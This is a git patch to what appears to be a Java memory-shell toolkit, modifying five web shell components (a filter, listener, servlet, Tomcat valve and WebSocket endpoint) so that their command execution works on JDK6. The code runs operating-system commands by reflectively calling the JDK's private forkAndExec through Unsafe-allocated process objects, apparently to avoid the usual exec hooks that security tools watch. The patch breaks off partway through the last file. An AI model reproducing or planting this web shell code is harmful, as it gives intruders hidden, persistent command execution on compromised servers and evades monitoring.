From b341082f2bdd62e0722f928f7c44ccf459e4078e Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 3 May 2025 21:36:21 +0800 Subject: [PATCH] fix: JDK6 forkAndExec run failed --- .../shelltool/command/CommandFilter.java | 57 ++++++++++++------- .../shelltool/command/CommandListener.java | 54 +++++++++++------- .../shelltool/command/CommandServlet.java | 54 +++++++++++------- .../shelltool/command/CommandValve.java | 54 +++++++++++------- .../shelltool/command/CommandWebSocket.java | 54 +++++++++++------- 5 files changed, 167 insertions(+), 106 deletions(-) diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java index 557577d5..683c1a41 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java @@ -42,7 +42,8 @@ public class CommandFilter implements Filter { } return; } - } catch (Exception ignored) { + } catch (Exception e) { + e.printStackTrace(); } chain.doFilter(servletRequest, servletResponse); } @@ -61,7 +62,6 @@ public class CommandFilter implements Filter { } catch (ClassNotFoundException e) { processClass = Class.forName("java.lang.ProcessImpl"); } - Object processObject = unsafe.allocateInstance(processClass); byte[][] args = new byte[strs.length - 1][]; @@ -82,27 +82,28 @@ public class CommandFilter implements Filter { int[] envc = new int[1]; int[] std_fds = new int[]{-1, -1, -1}; - Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); - Field helperpathField = processClass.getDeclaredField("helperpath"); - launchMechanismField.setAccessible(true); - helperpathField.setAccessible(true); - Object launchMechanismObject = launchMechanismField.get(processObject); - byte[] helperpathObject = (byte[]) helperpathField.get(processObject); - int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); + byte[] result = toCString(strs[0]); + try { + Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); + Field helperpathField = processClass.getDeclaredField("helperpath"); + launchMechanismField.setAccessible(true); + helperpathField.setAccessible(true); + Object launchMechanismObject = launchMechanismField.get(processObject); + byte[] helperpathObject = (byte[]) helperpathField.get(processObject); + int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); - Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, - byte[].class, int.class, byte[].class, int[].class, boolean.class); - forkMethod.setAccessible(true); - - byte[] bytes = strs[0].getBytes(); - byte[] result = new byte[bytes.length + 1]; - System.arraycopy(bytes, 0, - result, 0, - bytes.length); - result[result.length - 1] = (byte) 0; - - forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, - null, envc[0], null, std_fds, false); + Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, + byte[].class, int.class, byte[].class, int[].class, boolean.class); + forkMethod.setAccessible(true); + forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, + null, envc[0], null, std_fds, false); + } catch (Exception e) { + Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class, + byte[].class, int.class, byte[].class, int[].class, boolean.class); + forkMethod.setAccessible(true); + forkMethod.invoke(processObject, result, argBlock, args.length, + null, envc[0], null, std_fds, false); + } Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); initStreamsMethod.setAccessible(true); @@ -113,6 +114,18 @@ public class CommandFilter implements Filter { return (InputStream) getInputStreamMethod.invoke(processObject); } + private static byte[] toCString(String s) { + if (s == null) + return null; + byte[] bytes = s.getBytes(); + byte[] result = new byte[bytes.length + 1]; + System.arraycopy(bytes, 0, + result, 0, + bytes.length); + result[result.length - 1] = (byte) 0; + return result; + } + @Override public void destroy() { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java index 4216cc2e..0db436d6 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java @@ -62,7 +62,6 @@ public class CommandListener implements ServletRequestListener { } catch (ClassNotFoundException e) { processClass = Class.forName("java.lang.ProcessImpl"); } - Object processObject = unsafe.allocateInstance(processClass); byte[][] args = new byte[strs.length - 1][]; @@ -83,27 +82,28 @@ public class CommandListener implements ServletRequestListener { int[] envc = new int[1]; int[] std_fds = new int[]{-1, -1, -1}; - Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); - Field helperpathField = processClass.getDeclaredField("helperpath"); - launchMechanismField.setAccessible(true); - helperpathField.setAccessible(true); - Object launchMechanismObject = launchMechanismField.get(processObject); - byte[] helperpathObject = (byte[]) helperpathField.get(processObject); - int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); + byte[] result = toCString(strs[0]); + try { + Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); + Field helperpathField = processClass.getDeclaredField("helperpath"); + launchMechanismField.setAccessible(true); + helperpathField.setAccessible(true); + Object launchMechanismObject = launchMechanismField.get(processObject); + byte[] helperpathObject = (byte[]) helperpathField.get(processObject); + int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); - Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, - byte[].class, int.class, byte[].class, int[].class, boolean.class); - forkMethod.setAccessible(true); - - byte[] bytes = strs[0].getBytes(); - byte[] result = new byte[bytes.length + 1]; - System.arraycopy(bytes, 0, - result, 0, - bytes.length); - result[result.length - 1] = (byte) 0; - - forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, - null, envc[0], null, std_fds, false); + Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, + byte[].class, int.class, byte[].class, int[].class, boolean.class); + forkMethod.setAccessible(true); + forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, + null, envc[0], null, std_fds, false); + } catch (Exception e) { + Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class, + byte[].class, int.class, byte[].class, int[].class, boolean.class); + forkMethod.setAccessible(true); + forkMethod.invoke(processObject, result, argBlock, args.length, + null, envc[0], null, std_fds, false); + } Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); initStreamsMethod.setAccessible(true); @@ -114,6 +114,18 @@ public class CommandListener implements ServletRequestListener { return (InputStream) getInputStreamMethod.invoke(processObject); } + private static byte[] toCString(String s) { + if (s == null) + return null; + byte[] bytes = s.getBytes(); + byte[] result = new byte[bytes.length + 1]; + System.arraycopy(bytes, 0, + result, 0, + bytes.length); + result[result.length - 1] = (byte) 0; + return result; + } + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { return null; } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java index 2b354d57..fddfa6aa 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java @@ -60,7 +60,6 @@ public class CommandServlet extends HttpServlet { } catch (ClassNotFoundException e) { processClass = Class.forName("java.lang.ProcessImpl"); } - Object processObject = unsafe.allocateInstance(processClass); byte[][] args = new byte[strs.length - 1][]; @@ -81,27 +80,28 @@ public class CommandServlet extends HttpServlet { int[] envc = new int[1]; int[] std_fds = new int[]{-1, -1, -1}; - Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); - Field helperpathField = processClass.getDeclaredField("helperpath"); - launchMechanismField.setAccessible(true); - helperpathField.setAccessible(true); - Object launchMechanismObject = launchMechanismField.get(processObject); - byte[] helperpathObject = (byte[]) helperpathField.get(processObject); - int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); + byte[] result = toCString(strs[0]); + try { + Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); + Field helperpathField = processClass.getDeclaredField("helperpath"); + launchMechanismField.setAccessible(true); + helperpathField.setAccessible(true); + Object launchMechanismObject = launchMechanismField.get(processObject); + byte[] helperpathObject = (byte[]) helperpathField.get(processObject); + int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); - Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, - byte[].class, int.class, byte[].class, int[].class, boolean.class); - forkMethod.setAccessible(true); - - byte[] bytes = strs[0].getBytes(); - byte[] result = new byte[bytes.length + 1]; - System.arraycopy(bytes, 0, - result, 0, - bytes.length); - result[result.length - 1] = (byte) 0; - - forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, - null, envc[0], null, std_fds, false); + Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, + byte[].class, int.class, byte[].class, int[].class, boolean.class); + forkMethod.setAccessible(true); + forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, + null, envc[0], null, std_fds, false); + } catch (Exception e) { + Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class, + byte[].class, int.class, byte[].class, int[].class, boolean.class); + forkMethod.setAccessible(true); + forkMethod.invoke(processObject, result, argBlock, args.length, + null, envc[0], null, std_fds, false); + } Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); initStreamsMethod.setAccessible(true); @@ -111,4 +111,16 @@ public class CommandServlet extends HttpServlet { getInputStreamMethod.setAccessible(true); return (InputStream) getInputStreamMethod.invoke(processObject); } + + private static byte[] toCString(String s) { + if (s == null) + return null; + byte[] bytes = s.getBytes(); + byte[] result = new byte[bytes.length + 1]; + System.arraycopy(bytes, 0, + result, 0, + bytes.length); + result[result.length - 1] = (byte) 0; + return result; + } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java index e14f9ce4..d83fcd6e 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java @@ -80,7 +80,6 @@ public class CommandValve implements Valve { } catch (ClassNotFoundException e) { processClass = Class.forName("java.lang.ProcessImpl"); } - Object processObject = unsafe.allocateInstance(processClass); byte[][] args = new byte[strs.length - 1][]; @@ -101,27 +100,28 @@ public class CommandValve implements Valve { int[] envc = new int[1]; int[] std_fds = new int[]{-1, -1, -1}; - Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); - Field helperpathField = processClass.getDeclaredField("helperpath"); - launchMechanismField.setAccessible(true); - helperpathField.setAccessible(true); - Object launchMechanismObject = launchMechanismField.get(processObject); - byte[] helperpathObject = (byte[]) helperpathField.get(processObject); - int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); + byte[] result = toCString(strs[0]); + try { + Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); + Field helperpathField = processClass.getDeclaredField("helperpath"); + launchMechanismField.setAccessible(true); + helperpathField.setAccessible(true); + Object launchMechanismObject = launchMechanismField.get(processObject); + byte[] helperpathObject = (byte[]) helperpathField.get(processObject); + int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); - Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, - byte[].class, int.class, byte[].class, int[].class, boolean.class); - forkMethod.setAccessible(true); - - byte[] bytes = strs[0].getBytes(); - byte[] result = new byte[bytes.length + 1]; - System.arraycopy(bytes, 0, - result, 0, - bytes.length); - result[result.length - 1] = (byte) 0; - - forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, - null, envc[0], null, std_fds, false); + Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, + byte[].class, int.class, byte[].class, int[].class, boolean.class); + forkMethod.setAccessible(true); + forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, + null, envc[0], null, std_fds, false); + } catch (Exception e) { + Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class, + byte[].class, int.class, byte[].class, int[].class, boolean.class); + forkMethod.setAccessible(true); + forkMethod.invoke(processObject, result, argBlock, args.length, + null, envc[0], null, std_fds, false); + } Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); initStreamsMethod.setAccessible(true); @@ -131,4 +131,16 @@ public class CommandValve implements Valve { getInputStreamMethod.setAccessible(true); return (InputStream) getInputStreamMethod.invoke(processObject); } + + private static byte[] toCString(String s) { + if (s == null) + return null; + byte[] bytes = s.getBytes(); + byte[] result = new byte[bytes.length + 1]; + System.arraycopy(bytes, 0, + result, 0, + bytes.length); + result[result.length - 1] = (byte) 0; + return result; + } } \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java index 69438225..961ef8a6 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java @@ -55,7 +55,6 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole